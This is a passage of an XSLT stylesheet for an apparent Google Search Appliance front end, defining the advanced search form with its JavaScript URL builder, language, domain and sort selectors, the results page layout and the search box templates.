    < xsl:variable name="html_escaped_as_oq" >
      <xsl:call-template name="escape_quot" >
       <xsl:with-param name="string"
    select="/GSP/PARAM[@name='as_oq']/@value"/ >
      </xsl:call-template >
    < /xsl:variable >

    < xsl:variable name="html_escaped_as_eq" >
      <xsl:call-template name="escape_quot" >
       <xsl:with-param name="string"
    select="/GSP/PARAM[@name='as_eq']/@value"/ >
      </xsl:call-template >
    < /xsl:variable >

    < html >
    < xsl:call-template name="langHeadStart"/ >
    < title ><xsl:value-of select="$adv_page_title"/ ></title >
    < xsl:call-template name="style"/ >

    < !-- script type="text/javascript" -- >
    < script >
    < xsl:comment >
    function setFocus() {
    document.f.as_q.focus(); }
    function esc(x){
    x = escape(x).replace(/\+/g, "%2b");
    if (x.substring(0,2)=="\%u") x="";
    return x;
    }
    function collecturl(target, custom) {
    var p = new Array();var i = 0;var url="";var z = document.f;
    if (z.as_q.value.length) {p[i++] = 'as_q=' + esc(z.as_q.value);}
    if (z.as_epq.value.length) {p[i++] = 'as_epq=' + esc(z.as_epq.value);}
    if (z.as_oq.value.length) {p[i++] = 'as_oq=' + esc(z.as_oq.value);}
    if (z.as_eq.value.length) {p[i++] = 'as_eq=' + esc(z.as_eq.value);}
    if (z.as_sitesearch.value.length)
     {p[i++]='as_sitesearch='+esc(z.as_sitesearch.value);}
    if (z.as_lq.value.length) {p[i++] = 'as_lq=' + esc(z.as_lq.value);}
    if (z.as_occt.options[z.as_occt.selectedIndex].value.length)
     
    {p[i++]='as_occt='+esc(z.as_occt.options[z.as_occt.selectedIndex].value);}
    if (z.as_dt.options[z.as_dt.selectedIndex].value.length)
     {p[i++]='as_dt='+esc(z.as_dt.options[z.as_dt.selectedIndex].value);}
    if (z.lr.options[z.lr.selectedIndex].value != '') {p[i++] = 'lr=' +
     z.lr.options[z.lr.selectedIndex].value;}
    if (z.num.options[z.num.selectedIndex].value != '10')
     {p[i++] = 'num=' + z.num.options[z.num.selectedIndex].value;}
    if (z.sort.options[z.sort.selectedIndex].value != '')
     {p[i++] = 'sort=' + z.sort.options[z.sort.selectedIndex].value;}
    if (typeof(z.client) != 'undefined')
     {p[i++] = 'client=' + esc(z.client.value);}
    if (typeof(z.site) != 'undefined')
     {p[i++] = 'site=' + esc(z.site.value);}
    if (typeof(z.output) != 'undefined')
     {p[i++] = 'output=' + esc(z.output.value);}
    if (typeof(z.proxystyle***) != 'undefined')
     {p[i++] = 'proxystyle***=' + esc(z.proxystyle***.value);}
    if (typeof(z.ie) != 'undefined')
     {p[i++] = 'ie=' + esc(z.ie.value);}
    if (typeof(z.oe) != 'undefined')
     {p[i++] = 'oe=' + esc(z.oe.value);}
    if (typeof(z.restrict) != 'undefined')
     {p[i++] = 'restrict=' + esc(z.restrict.value);}
    if (typeof(z.access) != 'undefined')
     {p[i++] = 'access=' + esc(z.access.value);}
    if (custom != '')
     {p[i++] = 'proxycustom=' + '<ADVANCED/>';}
    if (p.length > 0) {
    url = p[0];
    for (var j = 1; j < p.length; j++) { url += "&" + p[j]; }}
     location.href = target + '?' + url;
    }
    // </xsl:comment >
    < /script >

     <xsl:call-template name="langHeadEnd"/ >

     <body class="d" onload="setFocus()" >

      <!-- ** Customer's own advanced search page header ** -- >
      <xsl:if test="$choose_adv_search_page_header = 'mine' or
        $choose_adv_search_page_header = 'both'" >
       <xsl:call-template name="my_page_header"/ >
      </xsl:if >

      <!--====Advanced Search Header======-- >
      <xsl:if test="$choose_adv_search_page_header = 'provided' or
        $choose_adv_search_page_header = 'both'" >
       <xsl:call-template name="advanced_search_header"/ >
      </xsl:if >

      <!--====Carry over Search Parameters======-- >
      <form method="get" action="/search" name="f" >
       <xsl:if test="PARAM[@name='client']" >
        <input type="hidden" name="client"
         value="{PARAM[@name='client']/@value}" / >
       </xsl:if >
       <xsl:if test="PARAM[@name='site']" >
        <input type="hidden" name="site" value="{PARAM[@name='site']/@value}"/
    >
       </xsl:if >
       <xsl:if test="PARAM[@name='output']" >
        <input type="hidden" name="output"
         value="{PARAM[@name='output']/@value}" / >
       </xsl:if >
       <xsl:if test="PARAM[@name='proxystyle***']" >
        <input type="hidden" name="proxystyle***"
         value="{PARAM[@name='proxystyle***']/@value}" / >
       </xsl:if >
       <xsl:if test="PARAM[@name='ie']" >
        <input type="hidden" name="ie"
         value="{PARAM[@name='ie']/@value}" / >
       </xsl:if >
       <xsl:if test="PARAM[@name='oe']" >
        <input type="hidden" name="oe"
         value="{PARAM[@name='oe']/@value}" / >
       </xsl:if >
       <xsl:if test="PARAM[@name='restrict'] and
           $search_subcollections_xslt = ''" >
        <input type="hidden" name="restrict"
         value="{PARAM[@name='restrict']/@value}" / >
       </xsl:if >

       <!--====Advanced Search Options======-- >

       <table cellpadding="6" cellspacing="0" border="0" width="99%" >
        <tr >
         <td ><b >Advanced Web Search</b ></td >
        </tr >
       </table >

       <table cellspacing="0" cellpadding="3" border="0" width="99%" >
        <tr bgcolor="{$adv_search_panel_bgcolor}" >
         <td >
          <table width="100%" cellspacing="0" cellpadding="0" border="0" >
           <tr bgcolor="{$adv_search_panel_bgcolor}" >
            <td >
             <table width="100%" cellspacing="0" cellpadding="2"
             border="0" >
              <tr >
               <td valign="top" width="15%" ><font size="-1" ><br / >
               <b >Find results</b ></font > </td >

               <td width="85%" >
                <table width="100%" cellpadding="2"
                border="0" cellspacing="0" >
                 <tr >
                  <td ><font size="-1" >with <b >all</b >
                  of the words</font ></td >

                  <td >
                  <xsl:text disable-output-escaping="yes" >
                   <input type="text"
                   name="as_q"
                   size="25" value="</xsl:text >
                  <xsl:value-of disable-output-escaping="yes"
                   select="$html_escaped_as_q"/ >
                  <xsl:text disable-output-escaping="yes" >"></xsl:text >

                  <script type="text/javascript" >
                   <xsl:comment >
                    document.f.as_q.focus();
                   // </xsl:comment >
                  </script >
                  </td >

                  <td valign="top" rowspan="4" >
                  <font size="-1" >
                  <select name="num" >
                   <xsl:choose >
                    <xsl:when test="PARAM[(@name='num') and (@value!='10')]" >
                     <option value="10" >10 results</option >
                    </xsl:when >
                    <xsl:otherwise >
                     <option value="10" selected="selected" >10
    results</option >
                    </xsl:otherwise >
                   </xsl:choose >
                   <xsl:choose >
                    <xsl:when test="PARAM[(@name='num') and (@value='20')]" >
                     <option value="20" selected="selected" >20
    results</option >
                    </xsl:when >
                     <xsl:otherwise >
                      <option value="20" >20 results</option >
                    </xsl:otherwise >
                   </xsl:choose >
                   <xsl:choose >
                    <xsl:when test="PARAM[(@name='num') and (@value='30')]" >
                     <option value="30" selected="selected" >30
    results</option >
                    </xsl:when >
                    <xsl:otherwise >
                     <option value="30" >30 results</option >
                    </xsl:otherwise >
                   </xsl:choose >
                   <xsl:choose >
                    <xsl:when test="PARAM[(@name='num') and (@value='50')]" >
                     <option value="50" selected="selected" >50
    results</option >
                    </xsl:when >
                    <xsl:otherwise >
                     <option value="50" >50 results</option >
                    </xsl:otherwise >
                   </xsl:choose >
                   <xsl:choose >
                    <xsl:when test="PARAM[(@name='num') and (@value='100')]" >
                     <option value="100" selected="selected" >100
    results</option >
                    </xsl:when >
                    <xsl:otherwise >
                     <option value="100" >100 results</option >
                    </xsl:otherwise >
                   </xsl:choose >
                  </select >
                  </font >
         </td >
                  <xsl:call-template name="subcollection_menu"/ >
                  <td >
                  <font size="-1" >
                  <input type="submit" name="btnG"
                   value="{$search_button_text}" / >
                  </font >
                  </td >
                 </tr >

                 <tr >
                  <td nowrap="nowrap" ><font size="-1" >with the
                  <b >exact phrase</b ></font ></td >

                  <td >
               <xsl:text disable-output-escaping="yes" >
                   <input type="text"
                   name="as_epq"
                   size="25" value="</xsl:text >
                  <xsl:value-of disable-output-escaping="yes"
                   select="$html_escaped_as_epq"/ >
                  <xsl:text disable-output-escaping="yes" >"></xsl:text >
                  </td >
                 </tr >

                 <tr >
                  <td nowrap="nowrap" ><font size="-1" >with <b >any</b >
                  of the words</font ></td >

                  <td >
               <xsl:text disable-output-escaping="yes" >
                   <input type="text"
                   name="as_oq"
                   size="25" value="</xsl:text >
                  <xsl:value-of disable-output-escaping="yes"
                   select="$html_escaped_as_oq"/ >
                  <xsl:text disable-output-escaping="yes" >"></xsl:text >
                  </td >
                 </tr >

                 <tr >
                  <td nowrap="nowrap" ><font size="-1" ><b >without</b >
                  the words</font ></td >

                  <td >
               <xsl:text disable-output-escaping="yes" >
                   <input type="text"
                   name="as_eq"
                   size="25" value="</xsl:text >
                  <xsl:value-of disable-output-escaping="yes"
                   select="$html_escaped_as_eq"/ >
                  <xsl:text disable-output-escaping="yes" >"></xsl:text >
                  </td >
                 </tr >
                </table >
               </td >
              </tr >
             </table >
            </td >
           </tr >

           <tr bgcolor="{$global_bg_color}" >
            <td >
             <table width="100%" cellspacing="0"
             cellpadding="2" border="0" >
              <tr >
               <td width="15%" ><font size="-1" ><b >Language</b ></font ></td
    >

               <td width="40%" ><font size="-1" >Return pages written
               in</font ></td >
      
         <td ><font size="-1" >
               
             <xsl:choose >
       <xsl:when test="PARAM[(@name='oe') and (@value!='')]" >
                 <xsl:text disable-output-escaping="yes" ><select
    name="lr"></xsl:text >
                </xsl:when >
                <xsl:otherwise >
                 <xsl:text disable-output-escaping="yes" ><select name="lr"
    onchange="javascript:collecturl('/search', 'adv');"></xsl:text >
                </xsl:otherwise >
               </xsl:choose >

                <option value="" >any language</option >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and
    (@value='lang_zh-CN')]" >
                  <option value="lang_zh-CN"
                   selected="selected" >Chinese (Simplified)</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_zh-CN" >Chinese (Simplified)</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and
    (@value='lang_zh-TW')]" >
                  <option value="lang_zh-TW"
                   selected="selected" >Chinese (Traditional)</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_zh-TW" >Chinese (Traditional)</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_cs')]" >
                  <option value="lang_cs" selected="selected" >Czech</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_cs" >Czech</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_da')]" >
                  <option value="lang_da" selected="selected" >Danish</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_da" >Danish</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_nl')]" >
                  <option value="lang_nl" selected="selected" >Dutch</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_nl" >Dutch</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_en')]" >
                  <option value="lang_en" selected="selected" >English</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_en" >English</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_et')]" >
                  <option value="lang_et" selected="selected"
    >Estonian</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_et" >Estonian</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_fi')]" >
                  <option value="lang_fi" selected="selected" >Finnish</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_fi" >Finnish</option >
                 </xsl:otherwise >
                </xsl:choose >

                 <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_fr')]" >
                  <option value="lang_fr" selected="selected" >French</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_fr" >French</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_de')]" >
                  <option value="lang_de" selected="selected" >German</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_de" >German</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_el')]" >
                  <option value="lang_el" selected="selected" >Greek</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_el" >Greek</option >
                 </xsl:otherwise >
                </xsl:choose >

                 <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_iw')]" >
                  <option value="lang_iw" selected="selected" >Hebrew</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_iw" >Hebrew</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_hu')]" >
                  <option value="lang_hu" selected="selected"
    >Hungarian</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_hu" >Hungarian</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_is')]" >
                  <option value="lang_is" selected="selected"
    >Icelandic</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_is" >Icelandic</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_it')]" >
                  <option value="lang_it" selected="selected" >Italian</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_it" >Italian</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_ja')]" >
                  <option value="lang_ja" selected="selected"
    >Japanese</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_ja" >Japanese</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_ko')]" >
                  <option value="lang_ko" selected="selected" >Korean</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_ko" >Korean</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_lv')]" >
                  <option value="lang_lv" selected="selected" >Latvian</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_lv" >Latvian</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_lt')]" >
                  <option value="lang_lt" selected="selected"
    >Lithuanian</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_lt" >Lithuanian</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_no')]" >
                  <option value="lang_no" selected="selected"
    >Norwegian</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_no" >Norwegian</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_pl')]" >
                  <option value="lang_pl" selected="selected" >Polish</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_pl" >Polish</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_pt')]" >
                  <option value="lang_pt" selected="selected"
    >Portuguese</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_pt" >Portuguese</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_ro')]" >
                  <option value="lang_ro" selected="selected"
    >Romanian</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_ro" >Romanian</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_ru')]" >
                  <option value="lang_ru" selected="selected" >Russian</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_ru" >Russian</option >
                 </xsl:otherwise >
                </xsl:choose >

                <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_es')]" >
                  <option value="lang_es" selected="selected" >Spanish</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_es" >Spanish</option >
                 </xsl:otherwise >
                </xsl:choose >

                 <xsl:choose >
                 <xsl:when test="PARAM[(@name='lr') and (@value='lang_sv')]" >
                  <option value="lang_sv" selected="selected" >Swedish</option
    >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="lang_sv" >Swedish</option >
                 </xsl:otherwise >
                </xsl:choose >
               <xsl:text disable-output-escaping="yes" ></select></xsl:text >
         </font ></td >
              </tr >
             </table >
            </td >
           </tr >

           <tr bgcolor="{$global_bg_color}" >
            <td >
             <table width="100%" cellspacing="0"
             cellpadding="2" border="0" >
              <tr >
               <td width="15%" ><font size="-1" ><b >Occurrences</b ></font
    ></td >

               <td nowrap="nowrap" width="40%" ><font size="-1" >Return
               results where my terms occur</font ></td >

               <td ><font size="-1" ><select
               name="as_occt" >
                <xsl:choose >
                 <xsl:when test="PARAM[(@name='as_occt') and (@value!='any')]"
    >
                  <option value="any" > anywhere in the page </option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="any" selected="selected" >
                   anywhere in the page
                  </option >
                 </xsl:otherwise >
                </xsl:choose >
                <xsl:choose >
                 <xsl:when test="PARAM[(@name='as_occt') and
    (@value='title')]" >
                  <option value="title" selected="selected" >in the title of
    the page</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="title" >in the title of the page</option >
                 </xsl:otherwise >
                </xsl:choose >
                <xsl:choose >
                 <xsl:when test="PARAM[(@name='as_occt') and (@value='url')]"
    >
                  <option value="url" selected="selected" >in the url of the
    page</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="url" >in the url of the page</option >
                 </xsl:otherwise >
                </xsl:choose >
               </select ></font ></td >
              </tr >
             </table >
            </td >
           </tr >

           <tr bgcolor="{$global_bg_color}" >
            <td >
             <table width="100%" cellpadding="2"
             cellspacing="0" border="0" >
              <tr >
               <td width="15%" ><font size="-1" ><b >Domains</b ></font ></td
    >

               <td width="40%" nowrap="nowrap" ><font size="-1" ><select
               name="as_dt" >
                <xsl:choose >
                 <xsl:when test="PARAM[(@name='as_dt') and (@value='i')]" >
                  <option value="i" selected="selected" >Only</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="i" >Only</option >
                 </xsl:otherwise >
                </xsl:choose >
                <xsl:choose >
                 <xsl:when test="PARAM[(@name='as_dt') and (@value='e')]" >
                  <option value="e" selected="selected" >Don't</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="e" >Don't</option >
                 </xsl:otherwise >
                </xsl:choose >
               </select >return results from the site or domain</font ></td >

               <td >
                <table cellpadding="0" cellspacing="0"
                border="0" >
                 <tr >
                  <td >
                   <xsl:choose >
                    <xsl:when test="PARAM[@name='as_sitesearch']" >
                     <input type="text" size="25"
                     value="{PARAM[@name='as_sitesearch']/@value}"
                     name="as_sitesearch" / >
                    </xsl:when >
                    <xsl:otherwise >
                     <input type="text" size="25" value=""
    name="as_sitesearch" / >
                    </xsl:otherwise >
                   </xsl:choose >
                  </td >
                 </tr >

                 <tr >
                  <td valign="top" nowrap="nowrap" ><font size="-1" >
                   <i >e.g. google.com, .org</i ></font ></td >
                 </tr >
                </table >
               </td >
              </tr >

              <!-- Sort by Date feature -- >
        <tr >
               <td width="15%" ><font size="-1" ><b >Sort</b ></font ></td >

               <td width="40%" nowrap="nowrap" ><font size="-1" ><select
               name="sort" >
                <xsl:choose >
                 <xsl:when test="PARAM[(@name='sort') and (@value='')]" >
                  <option value="" selected="selected" >by Relevance</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="" >by Relevance</option >
                 </xsl:otherwise >
                </xsl:choose >
                <xsl:choose >
                 <xsl:when test="PARAM[(@name='sort') and
    (@value='date:D:S:d1')]" >
                  <option value="date:D:S:d1" selected="selected" >by
    Date</option >
                 </xsl:when >
                 <xsl:otherwise >
                  <option value="date:D:S:d1" >by Date</option >
                 </xsl:otherwise >
                </xsl:choose >
               </select ></font ></td >
              </tr >
              <!-- Secure Search feature -- >
              <xsl:if test="$show_secure_radio != '0'" >
        <tr >
               <td width="15%" ><font size="-1" ><b >Security</b ></font ></td
    >

               <td width="40%" nowrap="nowrap" ><font size="-1" >
                <xsl:choose >
                 <xsl:when test="$access='p'" >
                  <input type="radio" name="access" value="p"
    checked="checked" / >Search public content only
                 </xsl:when >
                <xsl:otherwise >
                 <input type="radio" name="access" value="p"/ >Search public
    content only
                </xsl:otherwise >
                </xsl:choose >
                <xsl:choose >
                 <xsl:when test="$access='a'" >
                  <input type="radio" name="access" value="a"
    checked="checked" / >Search public and secure content (login required)
                 </xsl:when >
                <xsl:otherwise >
                 <input type="radio" name="access" value="a"/ >Search public
    and secure content (login required)
                </xsl:otherwise >
                </xsl:choose >
               </font ></td >
              </tr >
              </xsl:if >
             </table >
            </td >
           </tr >

          </table >
         </td >
        </tr >
       </table >
       <br / >
       <br / >

       <!--====Page-Specific Search======-- >
       <table cellpadding="6" cellspacing="0" border="0" >
        <tr >
         <td ><b >Page-Specific Search</b ></td >
        </tr >
       </table >

       <table cellspacing="0" cellpadding="3" border="0"
       width="99%" >
        <tr bgcolor="{$adv_search_panel_bgcolor}" >
         <td >
          <table width="100%" cellpadding="0" cellspacing="0"
          border="0" >
           <tr bgcolor="{$adv_search_panel_bgcolor}" >
            <td >

             <table width="100%" cellpadding="2"
             cellspacing="0" border="0" >
             <form method="get" action="/search" name="h" >

              <tr bgcolor="{$global_bg_color}" >
               <td width="15%" ><font size="-1" ><b >Links</b ></font ></td >

               <td width="40%" nowrap="nowrap" ><font size="-1" >Find pages
               that link to the page</font > </td >

               <td nowrap="nowrap" >
                 <xsl:choose >
                  <xsl:when test="PARAM[@name='as_lq']" >
                   <input type="text" size="30"
                    value="{PARAM[@name='as_lq']/@value}"
                        name="as_lq" / >
                 </xsl:when >
                 <xsl:otherwise >
                  <input type="text" size="30" value="" name="as_lq" / >
                 </xsl:otherwise >
                </xsl:choose >
                <font size="-1" >
                <input type="submit" name="btnG" value="{$search_button_text}"
    / ></font >
               </td >
              </tr >
             </form >
             </table >
            </td >
           </tr >
          </table >
         </td >
        </tr >
       </table >

       <xsl:call-template name="copyright"/ >

      </form >

      <!-- ** Customer's own advanced search page footer ** -- >
      <xsl:call-template name="my_page_footer"/ >

     </body >
    < /html >
    < /xsl:template >

    < !-- ***********************************
     Resend query with filter=p to disable path_filtering
     if there is only one result cluster (do not customize)
       *********************************** -- >
    < xsl:template name="redirect_if_few_results" >
     <xsl:variable name="count" select="count(/GSP/RES/R)"/ >
     <xsl:variable name="start" select="/GSP/RES/@SN"/ >
     <xsl:variable name="filterall"
      select="count(/GSP/PARAM[@name='filter']) = 0"/ >
     <xsl:variable name="filter" select="/GSP/PARAM[@name='filter']/@value"/ >
     
     <xsl:if test="$count = 2 and $start = 1 and ($filterall or $filter =
    '1')" >
       <meta HTTP-EQUIV="REFRESH" content="0;url={$filter_url}p"/ >
     </xsl:if >
    < /xsl:template >

    < !-- ***********************************
     Search results (do not customize)
       *********************************** -- >
    < xsl:template name="search_results" >
    < html >

     <!-- ** HTML header and style ** -- >
     <xsl:call-template name="langHeadStart"/ >
      <xsl:call-template name="redirect_if_few_results"/ >
      <title ><xsl:value-of select="$result_page_title"/ >: <xsl:value-of
       disable-output-escaping="yes" select="$html_escaped_query"/ >
      </title >
      <xsl:call-template name="style"/ >
      <script type="text/javascript" >
       <xsl:comment >
        function resetForms() {
         for (var i = 0; i < document.forms.length; i++ ) {
           document.forms[i].reset();
         }
        }
       //</xsl:comment >
      </script >
     <xsl:call-template name="langHeadEnd"/ >

     <body onLoad="resetForms()" >

     <!-- ** Customer's own result page header ** -- >
     <xsl:if test="$choose_result_page_header = 'mine' or
      $choose_result_page_header = 'both'" >
      <xsl:call-template name="my_page_header"/ >
     </xsl:if >

     <!-- ** Result page header ** -- >
     <xsl:if test="$choose_result_page_header = 'provided' or
      $choose_result_page_header = 'both'" >
      <xsl:call-template name="result_page_header" / >
     </xsl:if >

     <!-- ** Top separation bar ** -- >
      <xsl:if test="Q != ''" >
       <xsl:call-template name="top_sep_bar" >
        <xsl:with-param name="query" select="Q"/ >
        <xsl:with-param name="time" select="TM"/ >
       </xsl:call-template >
      </xsl:if >

      <xsl:if test="$choose_sep_bar = 'line'" >
       <hr size="1" color="gray"/ >
      </xsl:if >

      <!-- ** Handle results (if any) ** -- >
      <xsl:choose >
       <xsl:when test="RES or GM or Spelling or Synonyms or CT" >
        <xsl:call-template name="results" >
         <xsl:with-param name="query" select="Q"/ >
         <xsl:with-param name="time" select="TM"/ >
        </xsl:call-template >
       </xsl:when >
       <xsl:when test="Q=''" >
       </xsl:when >
       <xsl:otherwise >
        <xsl:call-template name="no_RES" >
         <xsl:with-param name="query" select="Q"/ >
        </xsl:call-template >
       </xsl:otherwise >
      </xsl:choose >

      <!-- ** Google footer ** -- >
      <xsl:call-template name="copyright"/ >

      <!-- ** Customer's own result page footer ** -- >
      <xsl:call-template name="my_page_footer"/ >

     <!-- ** HTML footer ** -- >
     </body >
    < /html >

    < /xsl:template >

    < !-- ***********************************
     Subcollection menu beside the search box
       *********************************** -- >
    < xsl:template name="subcollection_menu" >
     <xsl:if test="$search_subcollections_xslt != ''" >
      <td valign="middle" >
       <select name="restrict" >
        <xsl:choose >
         <xsl:when test="PARAM[(@name='restrict') and (@value!='')]" >
          <option value="" >All documents</option >
         </xsl:when >
         <xsl:otherwise >
          <option value="" selected="selected" >All documents</option >
         </xsl:otherwise >
        </xsl:choose >
        
       </select >
      </td >
     </xsl:if >
    < /xsl:template >

    < !-- ***********************************
     Search box input form
       *********************************** -- >
    < xsl:template name="search_box" >
     <form name="gs" method="GET" action="/search" >
       <table cellpadding="0" cellspacing="0" >
        <tr >
         <td valign="middle" >
         <font size="-1" >
          <xsl:text disable-output-escaping="yes" >
           <input type="text" name="q"
           size="</xsl:text >
          <xsl:value-of select="$search_box_size"/ >
          <xsl:text disable-output-escaping="yes"
    >" maxlength="256" value="</xsl:text >
          <xsl:value-of disable-output-escaping="yes"
          select="$html_escaped_query"/ >
          <xsl:text disable-output-escaping="yes" >"></xsl:text >
         </font >
         </td >
         <xsl:call-template name="subcollection_menu"/ >
         <td valign="middle" >
         <font size="-1" >
          <xsl:call-template name="nbsp"/ >
           <xsl:choose >
           <xsl:when test="$choose_search_button = 'image'" >
         <input type="image" name="btnG" src="{$search_button_image_url}"
                valign="bottom" width="60" height="26"
                border="0" value="{$search_button_text}"/ >
           </xsl:when >
           <xsl:otherwise >
            <input type="submit" name="btnG" value="{$search_button_text}"/ >
           </xsl:otherwise >
           </xsl:choose >
         </font >
         </td >
        </tr >
        <xsl:if test="$show_secure_radio != '0'" >
        <tr >
         <td colspan="2" >
         <font size="-1" >Search:
          <xsl:choose >
           <xsl:when test="$access='p'" >
            <input type="radio" name="access" value="p" checked="checked" /
    >public content
           </xsl:when >
           <xsl:otherwise >
            <input type="radio" name="access" value="p"/ >public content
           </xsl:otherwise >
          </xsl:choose >
          <xsl:choose >
           <xsl:when test="$access='a'" >
            <input type="radio" name="access" value="a" checked="checked" /
    >public and secure content
           </xsl:when >
           <xsl:otherwise >
            <input type="radio" name="access" value="a"/ >public and secure
    content
           </xsl:otherwise >
          </xsl:choose >
         </font >
         </td >
        </tr >
        </xsl:if >
       </table >
      <xsl:text >
      </xsl:text >
      <xsl:call-template name="form_params"/ >
     </form >
    < /xsl:template >

    < !-- ***********************************
     Bottom search box (do not customized)
       *********************************** -- >
    < xsl:template name="bottom_search_box" >
      <br clear="all"/ >
      <br/ >
      <center >
      <table border="0" cellpadding="2" cellspacing="0" >
       <tr >
        <td nowrap="1" >
         <xsl:call-template name="search_box"/ >
        </td >
       </tr >
      </table >
      </center >
    < /xsl:template >

    < !-- ***********************************
     Sort-by criteria: sort by date/relevance
       *********************************** -- >
    < xsl:template name="sort_by" >
     <xsl:variable name="sort_by_relevance_url" ><xsl:for-each
      select="/GSP/PARAM[(@name != 'sort') and
          (@name != 'start')]" >
       <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
       <xsl:value-of select="@original_value"/ >
       <xsl:if test="position() != last()" >
        <xsl:text disable-output-escaping="yes" >&</xsl:text >
       </xsl:if >
      </xsl:for-each >
     </xsl:variable >
     <xsl:variable name="sort_by_date_url" >
      <xsl:value-of select="$search_url"
       / >&sort=date%3AD%3AS%3Ad1</xsl:variable >

     <table ><tr valign='top' ><td >
     <span class="s" >
     <font color="{$global_text_color}" >
      <xsl:text >Sort by: </xsl:text >
     </font >
     <xsl:choose >
      <xsl:when test="/GSP/PARAM[@name = 'sort' and
    starts-with(@value,'date')]" >
       <font color="{$global_text_color}" >
       <xsl:text >Date / </xsl:text >
       </font >
       <a href="/search?{$sort_by_relevance_url}" >Relevance</a >
      </xsl:when >
      <xsl:otherwise >
       <a href="/search?{$sort_by_date_url}" >Date</a >
       <font color="{$global_text_color}" >
       <xsl:text > / Relevance</xsl:text >
       </font >
      </xsl:otherwise >
     </xsl:choose >
     </span >
     </td ></tr ></table >
    < /xsl:template >

    < !-- ***********************************
     Output all results
       *********************************** -- >
    < xsl:template name="results" >
     <xsl:param name="query"/ >
     <xsl:param name="time"/ >

     <!-- ** Add top navigation/sort-by bar ** -- >
     <table width="100%" >
     <tr >
      <xsl:if test="$show_top_navigation != '0'" >
       <td align="left" >
        <xsl:call-template name="google_navigation" >
         <xsl:with-param name="prev" select="RES/NB/PU"/ >
